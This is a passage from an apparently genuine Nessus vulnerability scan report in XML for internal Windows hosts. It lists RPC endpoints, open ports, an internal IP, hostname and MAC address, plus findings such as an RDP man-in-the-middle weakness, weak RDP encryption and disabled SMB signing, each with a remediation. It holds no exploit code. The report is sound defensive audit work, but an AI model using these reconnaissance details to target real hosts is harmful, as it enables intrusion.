10421 UUID : 86d35949-83c9-4044-b424-db363231fd0c, version 1.0
10422 Description : Unknown RPC service
10423 Type : Local RPC service
10424 Named pipe : senssvc
10425
10426 Object UUID : 00000000-0000-0000-0000-000000000000
10427 UUID : a398e520-d59a-4bdd-aa7a-3c1e0303a511, version 1.0
10428 Description : Unknown RPC service
10429 Annotation : IKE/Authip API
10430 Type : Local RPC service
10431 Named pipe : IUserProfile2
10432
10433 Object UUID : 00000000-0000-0000-0000-000000000000
10434 UUID : a398e520-d59a-4bdd-aa7a-3c1e0303a511, version 1.0
10435 Description : Unknown RPC service
10436 Annotation : IKE/Authip API
10437 Type : Local RPC service
10438 Named pipe : OLE00F960A1A06D423DA757C39857DA
10439
10440 Object UUID : 00000000-0000-0000-0000-000000000000
10441 UUID : a398e520-d59a-4bdd-aa7a-3c1e0303a511, version 1.0
10442 Description : Unknown RPC service
10443 Annotation : IKE/Authip API
10444 Type : Local RPC service
10445 Named pipe : senssvc
10446
10447 Object UUID : 00000000-0000-0000-0000-000000000000
10448 UUID : 552d076a-cb29-4e44-8b6a-d15e59e2c0af, version 1.0
10449 Description : Unknown RPC service
10450 Annotation : IP Transition Configuration endpoint
10451 Type : Local RPC service
10452 Named pipe : IUserProfile2
10453
10454 Object UUID : 00000000-0000-0000-0000-000000000000
10455 UUID : 552d076a-cb29-4e44-8b6a-d15e59e2c0af, version 1.0
10456 Description : Unknown RPC service
10457 Annotation : IP Transition Configuration endpoint
10458 Type : Local RPC service
10459 Named pipe : OLE00F960A1A06D423DA757C39857DA
10460
10461 Object UUID : 00000000-0000-0000-0000-000000000000
10462 UUID : 552d076a-cb29-4e44-8b6a-d15e59e2c0af, version 1.0
10463 Description : Unknown RPC service
10464 Annotation : IP Transition Configuration endpoint
10465 Type : Local RPC service
10466 Named pipe : senssvc
10467
10468 Object UUID : 00000000-0000-0000-0000-000000000000
10469 UUID : 98716d03-89ac-44c7-bb8c-285824e51c4a, version 1.0
10470 Description : Unknown RPC service
10471 Annotation : XactSrv service
10472 Type : Local RPC service
10473 Named pipe : IUserProfile2
10474
10475 Object UUID : 00000000-0000-0000-0000-000000000000
10476 UUID : 98716d03-89ac-44c7-bb8c-285824e51c4a, version 1.0
10477 Description : Unknown RPC service
10478 Annotation : XactSrv service
10479 Type : Local RPC service
10480 Named pipe : OLE00F960A1A06D423DA757C39857DA
10481
10482 Object UUID : 00000000-0000-0000-0000-000000000000
10483 UUID : 98716d03-89ac-44c7-bb8c-285824e51c4a, version 1.0
10484 Description : Unknown RPC service
10485 Annotation : XactSrv service
10486 Type : Local RPC service
10487 Named pipe : senssvc
10488
10489 Object UUID : 73736573-6f69-656e-6e76-000000000000
10490 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
10491 Description : Unknown RPC service
10492 Annotation : Impl friendly name
10493 Type : Local RPC service
10494 Named pipe : IUserProfile2
10495
10496 Object UUID : 73736573-6f69-656e-6e76-000000000000
10497 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
10498 Description : Unknown RPC service
10499 Annotation : Impl friendly name
10500 Type : Local RPC service
10501 Named pipe : OLE00F960A1A06D423DA757C39857DA
10502
10503 Object UUID : 73736573-6f69-656e-6e76-000000000000
10504 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
10505 Description : Unknown RPC service
10506 Annotation : Impl friendly name
10507 Type : Local RPC service
10508 Named pipe : senssvc
10509
10510 Object UUID : 00000000-0000-0000-0000-000000000000
10511 UUID : 30b044a5-a225-43f0-b3a4-e060df91f9c1, version 1.0
10512 Description : Unknown RPC service
10513 Type : Local RPC service
10514 Named pipe : IUserProfile2
10515
10516 Object UUID : 00000000-0000-0000-0000-000000000000
10517 UUID : 30b044a5-a225-43f0-b3a4-e060df91f9c1, version 1.0
10518 Description : Unknown RPC service
10519 Type : Local RPC service
10520 Named pipe : OLE00F960A1A06D423DA757C39857DA
10521
10522 Object UUID : 00000000-0000-0000-0000-000000000000
10523 UUID : 30b044a5-a225-43f0-b3a4-e060df91f9c1, version 1.0
10524 Description : Unknown RPC service
10525 Type : Local RPC service
10526 Named pipe : senssvc
10527
10528 Object UUID : 00000000-0000-0000-0000-000000000000
10529 UUID : f6beaff7-1e19-4fbb-9f8f-b89e2018337c, version 1.0
10530 Description : Unknown RPC service
10531 Annotation : Event log TCPIP
10532 Type : Local RPC service
10533 Named pipe : eventlog
10534
10535 Object UUID : 00000000-0000-0000-0000-000000000000
10536 UUID : 30adc50c-5cbc-46ce-9a0e-91914789e23c, version 1.0
10537 Description : Unknown RPC service
10538 Annotation : NRP server endpoint
10539 Type : Local RPC service
10540 Named pipe : eventlog
10541
10542 Object UUID : 00000000-0000-0000-0000-000000000000
10543 UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6, version 1.0
10544 Description : Unknown RPC service
10545 Annotation : DHCPv6 Client LRPC Endpoint
10546 Type : Local RPC service
10547 Named pipe : eventlog
10548
10549 Object UUID : 00000000-0000-0000-0000-000000000000
10550 UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6, version 1.0
10551 Description : Unknown RPC service
10552 Annotation : DHCPv6 Client LRPC Endpoint
10553 Type : Local RPC service
10554 Named pipe : dhcpcsvc6
10555
10556 Object UUID : 00000000-0000-0000-0000-000000000000
10557 UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5, version 1.0
10558 Description : DHCP Client Service
10559 Windows process : svchost.exe
10560 Annotation : DHCP Client LRPC Endpoint
10561 Type : Local RPC service
10562 Named pipe : eventlog
10563
10564 </plugin_output>
10565 </ReportItem>
10566 <ReportItem port="139" svc_name="smb" protocol="tcp" severity="0" pluginID="11011" pluginName="Microsoft Windows SMB Service Detection" pluginFamily="Windows">
10567 <description>The remote service understands the CIFS (Common Internet File System) or Server Message Block (SMB) protocol, used to provide shared access to files, printers, etc between nodes on a network.</description>
10568 <fname>cifs445.nasl</fname>
10569 <plugin_modification_date>2012/01/31</plugin_modification_date>
10570 <plugin_name>Microsoft Windows SMB Service Detection</plugin_name>
10571 <plugin_publication_date>2002/06/05</plugin_publication_date>
10572 <plugin_type>remote</plugin_type>
10573 <risk_factor>None</risk_factor>
10574 <script_version>$Revision: 1.37 $</script_version>
10575 <solution>n/a</solution>
10576 <synopsis>A file / print sharing service is listening on the remote host.</synopsis>
10577 <plugin_output>
10578 An SMB server is running on this port.
10579 </plugin_output>
10580 </ReportItem>
10581 <ReportItem port="445" svc_name="cifs" protocol="tcp" severity="0" pluginID="11011" pluginName="Microsoft Windows SMB Service Detection" pluginFamily="Windows">
10582 <description>The remote service understands the CIFS (Common Internet File System) or Server Message Block (SMB) protocol, used to provide shared access to files, printers, etc between nodes on a network.</description>
10583 <fname>cifs445.nasl</fname>
10584 <plugin_modification_date>2012/01/31</plugin_modification_date>
10585 <plugin_name>Microsoft Windows SMB Service Detection</plugin_name>
10586 <plugin_publication_date>2002/06/05</plugin_publication_date>
10587 <plugin_type>remote</plugin_type>
10588 <risk_factor>None</risk_factor>
10589 <script_version>$Revision: 1.37 $</script_version>
10590 <solution>n/a</solution>
10591 <synopsis>A file / print sharing service is listening on the remote host.</synopsis>
10592 <plugin_output>
10593 A CIFS server is running on this port.
10594 </plugin_output>
10595 </ReportItem>
10596 </ReportHost>
10597 <ReportHost name="qa3app02"><HostProperties>
10598 <tag name="HOST_END">Mon Jul 1 11:54:48 2013</tag>
10599 <tag name="patch-summary-total-cves">1</tag>
10600 <tag name="system-type">general-purpose</tag>
10601 <tag name="operating-system">Microsoft Windows Server 2008 R2 Standard Service Pack 1</tag>
10602 <tag name="mac-address">00:50:56:81:01:db</tag>
10603 <tag name="traceroute-hop-1">10.31.112.22</tag>
10604 <tag name="traceroute-hop-0">172.16.138.2</tag>
10605 <tag name="host-ip">10.31.112.22</tag>
10606 <tag name="host-fqdn">qa3app02</tag>
10607 <tag name="netbios-name">QA3APP02</tag>
10608 <tag name="HOST_START">Mon Jul 1 11:33:11 2013</tag>
10609 </HostProperties>
10610 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="19506" pluginName="Nessus Scan Information" pluginFamily="Settings">
10611 <description>This script displays, for each tested host, information about the scan itself :
10612
10613 - The version of the plugin set
10614 - The type of plugin feed (HomeFeed or ProfessionalFeed)
10615 - The version of the Nessus Engine
10616 - The port scanner(s) used
10617 - The port range scanned
10618 - Whether credentialed or third-party patch management checks are possible
10619 - The date of the scan
10620 - The duration of the scan
10621 - The number of hosts scanned in parallel
10622 - The number of checks done in parallel</description>
10623 <fname>scan_info.nasl</fname>
10624 <plugin_modification_date>2013/05/31</plugin_modification_date>
10625 <plugin_name>Nessus Scan Information</plugin_name>
10626 <plugin_publication_date>2005/08/26</plugin_publication_date>
10627 <plugin_type>summary</plugin_type>
10628 <risk_factor>None</risk_factor>
10629 <script_version>$Revision: 1.59 $</script_version>
10630 <solution>n/a</solution>
10631 <synopsis>Information about the Nessus scan.</synopsis>
10632 <plugin_output>Information about this scan :
10633
10634 Nessus version : 5.2.1
10635 Plugin feed version : 201306260615
10636 Type of plugin feed : HomeFeed (Non-commercial use only)
10637 Scanner IP : 172.16.138.174
10638 Port scanner(s) : nessus_syn_scanner
10639 Port range : default
10640 Thorough tests : no
10641 Experimental tests : no
10642 Paranoia level : 1
10643 Report Verbosity : 1
10644 Safe checks : yes
10645 Optimize the test : yes
10646 Credentialed checks : no
10647 Patch management checks : None
10648 CGI scanning : disabled
10649 Web application tests : disabled
10650 Max hosts : 80
10651 Max checks : 5
10652 Recv timeout : 5
10653 Backports : None
10654 Allow post-scan editing: Yes
10655 Scan Start Date : 2013/7/1 11:33
10656 Scan duration : 1293 sec
10657 </plugin_output>
10658 </ReportItem>
10659 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="10919" pluginName="Open Port Re-check" pluginFamily="General">
10660 <description>One of several ports that were previously open are now closed or unresponsive.
10661
10662 There are several possible reasons for this :
10663
10664 - The scan may have caused a service to freeze or stop running.
10665
10666 - An administrator may have stopped a particular service during the scanning process.
10667
10668 This might be an availability problem related to the following :
10669
10670 - A network outage has been experienced during the scan, and the remote network cannot be reached anymore by the scanner.
10671
10672 - This scanner may has been blacklisted by the system administrator or by an automatic intrusion detection / prevention system that detected the scan.
10673
10674 - The remote host is now down, either because a user turned it off during the scan or because a select denial of service was effective.
10675
10676 In any case, the audit of the remote host might be incomplete and may need to be done again</description>
10677 <fname>check_ports.nasl</fname>
10678 <plugin_modification_date>2013/05/14</plugin_modification_date>
10679 <plugin_name>Open Port Re-check</plugin_name>
10680 <plugin_publication_date>2002/03/19</plugin_publication_date>
10681 <plugin_type>remote</plugin_type>
10682 <risk_factor>None</risk_factor>
10683 <script_version>$Revision: 1.41 $</script_version>
10684 <solution>- Increase checks_read_timeout and/or reduce max_checks
10685
10686 - Disable any IPS during the Nessus scan</solution>
10687 <synopsis>Previously open ports are now closed.</synopsis>
10688 <plugin_output>Port 135 was detected as being open but is now unresponsive
10689 Port 10002 was detected as being open but is now unresponsive
10690 Port 3389 was detected as being open but is now unresponsive
10691 Port 7001 was detected as being open but is now unresponsive
10692 Port 80 was detected as being open but is now unresponsive
10693 </plugin_output>
10694 </ReportItem>
10695 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="45590" pluginName="Common Platform Enumeration (CPE)" pluginFamily="General">
10696 <description>By using information obtained from a Nessus scan, this plugin reports CPE (Common Platform Enumeration) matches for various hardware and software products found on a host.
10697
10698 Note that if an official CPE is not available for the product, this plugin computes the best possible CPE based on the information available from the scan.</description>
10699 <fname>cpe.nbin</fname>
10700 <plugin_modification_date>2013/05/13</plugin_modification_date>
10701 <plugin_name>Common Platform Enumeration (CPE)</plugin_name>
10702 <plugin_publication_date>2010/04/21</plugin_publication_date>
10703 <plugin_type>local</plugin_type>
10704 <risk_factor>None</risk_factor>
10705 <script_version>$Revision: 1.19 $</script_version>
10706 <see_also>http://cpe.mitre.org/</see_also>
10707 <solution>n/a</solution>
10708 <synopsis>It is possible to enumerate CPE names that matched on the remote system.</synopsis>
10709 <plugin_output>
10710 The remote operating system matched the following CPE :
10711
10712 cpe:/o:microsoft:windows_server_2008:r2:sp1 -&gt; Microsoft Windows Server 2008 R2 Service Pack 1
10713
10714 Following application CPE matched on the remote system :
10715
10716 cpe:/a:microsoft:iis:7.5 -&gt; Microsoft Internet Information Services (IIS) 7.5
10717 </plugin_output>
10718 </ReportItem>
10719 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="54615" pluginName="Device Type" pluginFamily="General">
10720 <description>Based on the remote operating system, it is possible to determine what the remote system type is (eg: a printer, router, general-purpose computer, etc).</description>
10721 <fname>device_type.nasl</fname>
10722 <plugin_modification_date>2011/05/23</plugin_modification_date>
10723 <plugin_name>Device Type</plugin_name>
10724 <plugin_publication_date>2011/05/23</plugin_publication_date>
10725 <plugin_type>combined</plugin_type>
10726 <risk_factor>None</risk_factor>
10727 <script_version>$Revision: 1.1 $</script_version>
10728 <solution>n/a</solution>
10729 <synopsis>It is possible to guess the remote device type.</synopsis>
10730 <plugin_output>Remote device type : general-purpose
10731 Confidence level : 99
10732 </plugin_output>
10733 </ReportItem>
10734 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="11936" pluginName="OS Identification" pluginFamily="General">
10735 <description>Using a combination of remote probes (TCP/IP, SMB, HTTP, NTP, SNMP, etc...), it is possible to guess the name of the remote operating system in use. It is also sometimes possible to guess the version of the operating system.</description>
10736 <fname>os_fingerprint.nasl</fname>
10737 <plugin_modification_date>2013/04/01</plugin_modification_date>
10738 <plugin_name>OS Identification</plugin_name>
10739 <plugin_publication_date>2003/12/09</plugin_publication_date>
10740 <plugin_type>combined</plugin_type>
10741 <risk_factor>None</risk_factor>
10742 <script_version>$Revision: 2.34 $</script_version>
10743 <solution>n/a</solution>
10744 <synopsis>It is possible to guess the remote operating system.</synopsis>
10745 <plugin_output>
10746 Remote operating system : Microsoft Windows Server 2008 R2 Standard Service Pack 1
10747 Confidence Level : 99
10748 Method : MSRPC
10749
10750
10751 The remote host is running Microsoft Windows Server 2008 R2 Standard Service Pack 1</plugin_output>
10752 </ReportItem>
10753 <ReportItem port="10002" svc_name="www" protocol="tcp" severity="0" pluginID="10107" pluginName="HTTP Server Type and Version" pluginFamily="Web Servers">
10754 <description>This plugin attempts to determine the type and the version of the remote web server.</description>
10755 <fname>http_version.nasl</fname>
10756 <plugin_modification_date>2013/06/03</plugin_modification_date>
10757 <plugin_name>HTTP Server Type and Version</plugin_name>
10758 <plugin_publication_date>2000/01/04</plugin_publication_date>
10759 <plugin_type>remote</plugin_type>
10760 <risk_factor>None</risk_factor>
10761 <script_version>$Revision: 1.111 $</script_version>
10762 <solution>n/a</solution>
10763 <synopsis>A web server is running on the remote host.</synopsis>
10764 <plugin_output>The remote web server type is :
10765
10766 Microsoft-HTTPAPI/2.0</plugin_output>
10767 </ReportItem>
10768 <ReportItem port="80" svc_name="www" protocol="tcp" severity="0" pluginID="10107" pluginName="HTTP Server Type and Version" pluginFamily="Web Servers">
10769 <description>This plugin attempts to determine the type and the version of the remote web server.</description>
10770 <fname>http_version.nasl</fname>
10771 <plugin_modification_date>2013/06/03</plugin_modification_date>
10772 <plugin_name>HTTP Server Type and Version</plugin_name>
10773 <plugin_publication_date>2000/01/04</plugin_publication_date>
10774 <plugin_type>remote</plugin_type>
10775 <risk_factor>None</risk_factor>
10776 <script_version>$Revision: 1.111 $</script_version>
10777 <solution>n/a</solution>
10778 <synopsis>A web server is running on the remote host.</synopsis>
10779 <plugin_output>The remote web server type is :
10780
10781 Microsoft-IIS/7.5</plugin_output>
10782 </ReportItem>
10783 <ReportItem port="80" svc_name="www" protocol="tcp" severity="0" pluginID="43111" pluginName="HTTP Methods Allowed (per directory)" pluginFamily="Web Servers">
10784 <description>By calling the OPTIONS method, it is possible to determine which HTTP methods are allowed on each directory.
10785
10786 As this list may be incomplete, the plugin also tests - if &apos;Thorough tests&apos; are enabled or &apos;Enable web applications tests&apos; is set to &apos;yes&apos; in the scan policy - various known HTTP methods on each directory and considers them as unsupported if it receives a response code of 400, 403, 405, or 501.
10787
10788 Note that the plugin output is only informational and does not necessarily indicate the presence of any security vulnerabilities.</description>
10789 <fname>web_directory_options.nasl</fname>
10790 <plugin_modification_date>2013/05/09</plugin_modification_date>
10791 <plugin_name>HTTP Methods Allowed (per directory)</plugin_name>
10792 <plugin_publication_date>2009/12/10</plugin_publication_date>
10793 <plugin_type>remote</plugin_type>
10794 <risk_factor>None</risk_factor>
10795 <script_version>$Revision: 1.7 $</script_version>
10796 <solution>n/a</solution>
10797 <synopsis>This plugin determines which HTTP methods are allowed on various CGI directories.</synopsis>
10798 <plugin_output>Based on the response to an OPTIONS request :
10799
10800 - HTTP methods GET HEAD POST TRACE OPTIONS are allowed on :
10801
10802 /
10803
10804 </plugin_output>
10805 </ReportItem>
10806 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="35716" pluginName="Ethernet Card Manufacturer Detection" pluginFamily="Misc.">
10807 <description>Each ethernet MAC address starts with a 24-bit &apos;Organizationally Unique Identifier&apos;.
10808 These OUI are registered by IEEE.</description>
10809 <fname>ethernet_manufacturer.nasl</fname>
10810 <plugin_modification_date>2011/03/27</plugin_modification_date>
10811 <plugin_name>Ethernet Card Manufacturer Detection</plugin_name>
10812 <plugin_publication_date>2009/02/19</plugin_publication_date>
10813 <plugin_type>combined</plugin_type>
10814 <risk_factor>None</risk_factor>
10815 <script_version>$Revision: 1.9 $</script_version>
10816 <see_also>http://standards.ieee.org/faqs/OUI.html
10817 http://standards.ieee.org/regauth/oui/index.shtml</see_also>
10818 <solution>n/a</solution>
10819 <synopsis>The manufacturer can be deduced from the Ethernet OUI.</synopsis>
10820 <plugin_output>
10821 The following card manufacturers were identified :
10822
10823 00:50:56:81:01:db : VMware, Inc.
10824 </plugin_output>
10825 </ReportItem>
10826 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="20094" pluginName="VMware Virtual Machine Detection" pluginFamily="General">
10827 <description>According to the MAC address of its network adapter, the remote host is a VMware virtual machine.
10828
10829 Since it is physically accessible through the network, ensure that its configuration matches your organization&apos;s security policy.</description>
10830 <fname>vmware_detect.nasl</fname>
10831 <plugin_modification_date>2011/03/27</plugin_modification_date>
10832 <plugin_name>VMware Virtual Machine Detection</plugin_name>
10833 <plugin_publication_date>2005/10/27</plugin_publication_date>
10834 <plugin_type>combined</plugin_type>
10835 <risk_factor>None</risk_factor>
10836 <script_version>$Revision: 1.24 $</script_version>
10837 <solution>n/a</solution>
10838 <synopsis>The remote host seems to be a VMware virtual machine.</synopsis>
10839 </ReportItem>
10840 <ReportItem port="3389" svc_name="msrdp" protocol="tcp" severity="2" pluginID="18405" pluginName="Microsoft Windows Remote Desktop Protocol Server Man-in-the-Middle Weakness" pluginFamily="Windows">
10841 <bid>13818</bid>
10842 <cve>CVE-2005-1794</cve>
10843 <cvss_base_score>5.1</cvss_base_score>
10844 <cvss_temporal_score>4.6</cvss_temporal_score>
10845 <cvss_temporal_vector>CVSS2#E:F/RL:W/RC:ND</cvss_temporal_vector>
10846 <cvss_vector>CVSS2#AV:N/AC:H/Au:N/C:P/I:P/A:P</cvss_vector>
10847 <description>The remote version of the Remote Desktop Protocol Server (Terminal Service) is vulnerable to a man-in-the-middle (MiTM) attack. The RDP client makes no effort to validate the identity of the server when setting up encryption. An attacker with the ability to intercept traffic from the RDP server can establish encryption with the client and server without being detected. A MiTM attack of this nature would allow the attacker to obtain any sensitive information transmitted, including authentication credentials.
10848
10849 This flaw exists because the RDP server stores a hardcoded RSA private key in the mstlsapi.dll library. Any local user with access to this file (on any Windows system) can retrieve the key and use it for this attack.</description>
10850 <exploit_available>true</exploit_available>
10851 <exploitability_ease>Exploits are available</exploitability_ease>
10852 <fname>tssvc_mim.nasl</fname>
10853 <osvdb>17131</osvdb>
10854 <plugin_modification_date>2012/03/30</plugin_modification_date>
10855 <plugin_name>Microsoft Windows Remote Desktop Protocol Server Man-in-the-Middle Weakness</plugin_name>
10856 <plugin_publication_date>2005/06/01</plugin_publication_date>
10857 <plugin_type>remote</plugin_type>
10858 <risk_factor>Medium</risk_factor>
10859 <script_version>$Revision: 1.23 $</script_version>
10860 <see_also>http://www.oxid.it/downloads/rdp-gbu.pdf
10861 http://www.nessus.org/u?e2628096
10862 http://technet.microsoft.com/en-us/library/cc782610.aspx</see_also>
10863 <solution>- Force the use of SSL as a transport layer for this service if supported, or/and
10864 - Select the &apos;Allow connections only from computers running Remote Desktop with Network Level Authentication&apos; setting if it is available.</solution>
10865 <synopsis>It may be possible to get access to the remote host.</synopsis>
10866 <vuln_publication_date>2005/05/28</vuln_publication_date>
10867 <xref>OSVDB:17131</xref>
10868 </ReportItem>
10869 <ReportItem port="80" svc_name="www" protocol="tcp" severity="0" pluginID="11422" pluginName="Web Server Unconfigured - Default Install Page Present" pluginFamily="Web Servers">
10870 <description>The remote web server uses its default welcome page. It probably means that this server is not used at all or is serving content that is meant to be hidden.</description>
10871 <fname>www_default_page.nasl</fname>
10872 <osvdb>2117</osvdb>
10873 <plugin_modification_date>2011/08/12</plugin_modification_date>
10874 <plugin_name>Web Server Unconfigured - Default Install Page Present</plugin_name>
10875 <plugin_publication_date>2003/03/20</plugin_publication_date>
10876 <plugin_type>remote</plugin_type>
10877 <risk_factor>None</risk_factor>
10878 <script_version>$Revision: 1.37 $</script_version>
10879 <solution>Disable this service if you do not use it.</solution>
10880 <synopsis>The remote web server is not configured or is not properly configured.</synopsis>
10881 <vuln_publication_date>1994/01/01</vuln_publication_date>
10882 <xref>OSVDB:2117</xref>
10883 <plugin_output>
10884 The default welcome page is from IIS.
10885 </plugin_output>
10886 </ReportItem>
10887 <ReportItem port="7001" svc_name="remoting_tcp" protocol="tcp" severity="0" pluginID="24018" pluginName="TCP Channel Detection" pluginFamily="Service detection">
10888 <description>The remote host is running a TCP-based .NET Remoting Channel Service, aka a &apos;TCP channel&apos;. .NET Remoting is an API developed by Microsoft and used for interprocess communications, and a channel service provides the mechanism by which such communications occur. Two channel services are supplied as part of Microsoft&apos;s .NET Framework - a TCP channel, which uses binary payloads, and an HTTP channel, which uses SOAP by default.</description>
10889 <fname>dotnet_remoting_services_detect.nasl</fname>
10890 <plugin_modification_date>2011/03/11</plugin_modification_date>
10891 <plugin_name>TCP Channel Detection</plugin_name>
10892 <plugin_publication_date>2007/01/17</plugin_publication_date>
10893 <plugin_type>remote</plugin_type>
10894 <risk_factor>None</risk_factor>
10895 <script_version>$Revision: 1.8 $</script_version>
10896 <see_also>http://msdn2.microsoft.com/en-us/library/72x4h507.aspx
10897 http://en.wikipedia.org/wiki/.NET_Remoting</see_also>
10898 <solution>Limit incoming traffic to this port if desired.</solution>
10899 <synopsis>A TCP channel is listening on the remote host.</synopsis>
10900 </ReportItem>
10901 <ReportItem port="3389" svc_name="msrdp" protocol="tcp" severity="0" pluginID="66173" pluginName="RDP Screenshot" pluginFamily="General">
10902 <cpe>cpe:/o:microsoft:windows</cpe>
10903 <description>This script attempts to connect to the remote host via RDP (Remote Desktop Protocol) and attempts to take a screenshot of the login screen.
10904
10905 While this is not a vulnerability by itself, some versions of Windows display the names of the users who can connect and which ones are connected already.</description>
10906 <fname>rdp_logon_screen.nbin</fname>
10907 <plugin_modification_date>2013/05/08</plugin_modification_date>
10908 <plugin_name>RDP Screenshot</plugin_name>
10909 <plugin_publication_date>2013/04/22</plugin_publication_date>
10910 <plugin_type>remote</plugin_type>
10911 <risk_factor>None</risk_factor>
10912 <script_version>$Revision: 1.4 $</script_version>
10913 <solution>n/a</solution>
10914 <synopsis>It is possible to take a screenshot of the remote login screen.</synopsis>
10915 <plugin_output>It was possible to gather the following screenshot of the remote login screen.</plugin_output>
10916 <attachment name="ts_screenshot.jpg" type="image/bmp">293713fa5c0d44310392df3bf9c784a3</attachment>
10917 </ReportItem>
10918 <ReportItem port="3389" svc_name="msrdp" protocol="tcp" severity="2" pluginID="57690" pluginName="Terminal Services Encryption Level is Medium or Low" pluginFamily="Misc.">
10919 <cvss_base_score>4.3</cvss_base_score>
10920 <cvss_vector>CVSS2#AV:N/AC:M/Au:N/C:P/I:N/A:N</cvss_vector>
10921 <description>The remote Terminal Services service is not configured to use strong cryptography.
10922
10923 Using weak cryptography with this service may allow an attacker to eavesdrop on the communications more easily and obtain screenshots and/or keystrokes.</description>
10924 <fname>rdp_weak_crypto.nbin</fname>
10925 <plugin_modification_date>2013/04/22</plugin_modification_date>
10926 <plugin_name>Terminal Services Encryption Level is Medium or Low</plugin_name>
10927 <plugin_publication_date>2012/01/25</plugin_publication_date>
10928 <plugin_type>remote</plugin_type>
10929 <risk_factor>Medium</risk_factor>
10930 <script_version>$Revision: 1.6 $</script_version>
10931 <solution>Change RDP encryption level to one of :
10932
10933 3. High
10934
10935 4. FIPS Compliant</solution>
10936 <synopsis>The remote host is using weak cryptography.</synopsis>
10937 <plugin_output>
10938 The terminal services encryption level is set to :
10939
10940 2. Medium</plugin_output>
10941 </ReportItem>
10942 <ReportItem port="3389" svc_name="msrdp" protocol="tcp" severity="1" pluginID="30218" pluginName="Terminal Services Encryption Level is not FIPS-140 Compliant" pluginFamily="Misc.">
10943 <cvss_base_score>2.6</cvss_base_score>
10944 <cvss_vector>CVSS2#AV:N/AC:H/Au:N/C:P/I:N/A:N</cvss_vector>
10945 <description>The encryption setting used by the remote Terminal Services service is not FIPS-140 compliant.</description>
10946 <fname>fips_rdp.nbin</fname>
10947 <plugin_modification_date>2013/04/22</plugin_modification_date>
10948 <plugin_name>Terminal Services Encryption Level is not FIPS-140 Compliant</plugin_name>
10949 <plugin_publication_date>2008/02/11</plugin_publication_date>
10950 <plugin_type>remote</plugin_type>
10951 <risk_factor>Low</risk_factor>
10952 <script_version>$Revision: 1.9 $</script_version>
10953 <solution>Change RDP encryption level to :
10954
10955 4. FIPS Compliant</solution>
10956 <synopsis>The remote host is not FIPS-140 compliant.</synopsis>
10957 <plugin_output>
10958 The terminal services encryption level is set to :
10959
10960 2. Medium (Client Compatible)</plugin_output>
10961 </ReportItem>
10962 <ReportItem port="3389" svc_name="msrdp" protocol="tcp" severity="0" pluginID="10940" pluginName="Windows Terminal Services Enabled" pluginFamily="Windows">
10963 <description>Terminal Services allows a Windows user to remotely obtain a graphical login (and therefore act as a local user on the remote host).
10964
10965 If an attacker gains a valid login and password, he may be able to use this service to gain further access on the remote host. An attacker may also use this service to mount a dictionary attack against the remote host to try to log in remotely.
10966
10967 Note that RDP (the Remote Desktop Protocol) is vulnerable to Man-in-the-middle attacks, making it easy for attackers to steal the credentials of legitimate users by impersonating the Windows server.</description>
10968 <fname>windows_terminal_services.nasl</fname>
10969 <plugin_modification_date>2012/03/30</plugin_modification_date>
10970 <plugin_name>Windows Terminal Services Enabled</plugin_name>
10971 <plugin_publication_date>2002/04/20</plugin_publication_date>
10972 <plugin_type>remote</plugin_type>
10973 <risk_factor>None</risk_factor>
10974 <script_version>$Revision: 1.29 $</script_version>
10975 <solution>Disable Terminal Services if you do not use it, and do not allow this service to run across the Internet.</solution>
10976 <synopsis>The remote Windows host has Terminal Services enabled.</synopsis>
10977 </ReportItem>
10978 <ReportItem port="445" svc_name="cifs" protocol="tcp" severity="2" pluginID="57608" pluginName="SMB Signing Disabled" pluginFamily="Misc.">
10979 <cpe>cpe:/o:microsoft:windows</cpe>
10980 <cvss_base_score>5.0</cvss_base_score>
10981 <cvss_vector>CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:N</cvss_vector>
10982 <description>Signing is disabled on the remote SMB server. This can allow man-in-the-middle attacks against the SMB server.</description>
10983 <fname>smb_signing_disabled.nasl</fname>
10984 <plugin_modification_date>2012/03/05</plugin_modification_date>
10985 <plugin_name>SMB Signing Disabled</plugin_name>
10986 <plugin_publication_date>2012/01/19</plugin_publication_date>
10987 <plugin_type>remote</plugin_type>
10988 <risk_factor>Medium</risk_factor>
10989 <script_version>$Revision: 1.7 $</script_version>
10990 <see_also>http://support.microsoft.com/kb/887429
10991 http://www.nessus.org/u?74b80723
10992 http://www.samba.org/samba/docs/man/manpages-3/smb.conf.5.html</see_also>
10993 <solution>Enforce message signing in the host&apos;s configuration. On Windows, this is found in the Local Security Policy. On Samba, the setting is called &apos;server signing&apos;. See the &apos;see also&apos; links for further details.</solution>
10994 <synopsis>Signing is disabled on the remote SMB server.</synopsis>
10995 <vuln_publication_date>2012/01/17</vuln_publication_date>
10996 </ReportItem>
10997 <ReportItem port="10002" svc_name="www" protocol="tcp" severity="0" pluginID="22964" pluginName="Service Detection" pluginFamily="Service detection">
10998 <description>It was possible to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.</description>
10999 <fname>find_service.nasl</fname>
11000 <plugin_modification_date>2013/05/12</plugin_modification_date>
11001 <plugin_name>Service Detection</plugin_name>
11002 <plugin_publication_date>2007/08/19</plugin_publication_date>
11003 <plugin_type>remote</plugin_type>
11004 <risk_factor>None</risk_factor>
11005 <script_version>$Revision: 1.123 $</script_version>
11006 <solution>n/a</solution>
11007 <synopsis>The remote service could be identified.</synopsis>
11008 <plugin_output>A web server is running on this port.</plugin_output>
11009 </ReportItem>
11010 <ReportItem port="80" svc_name="www" protocol="tcp" severity="0" pluginID="22964" pluginName="Service Detection" pluginFamily="Service detection">
11011 <description>It was possible to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.</description>
11012 <fname>find_service.nasl</fname>
11013 <plugin_modification_date>2013/05/12</plugin_modification_date>
11014 <plugin_name>Service Detection</plugin_name>
11015 <plugin_publication_date>2007/08/19</plugin_publication_date>
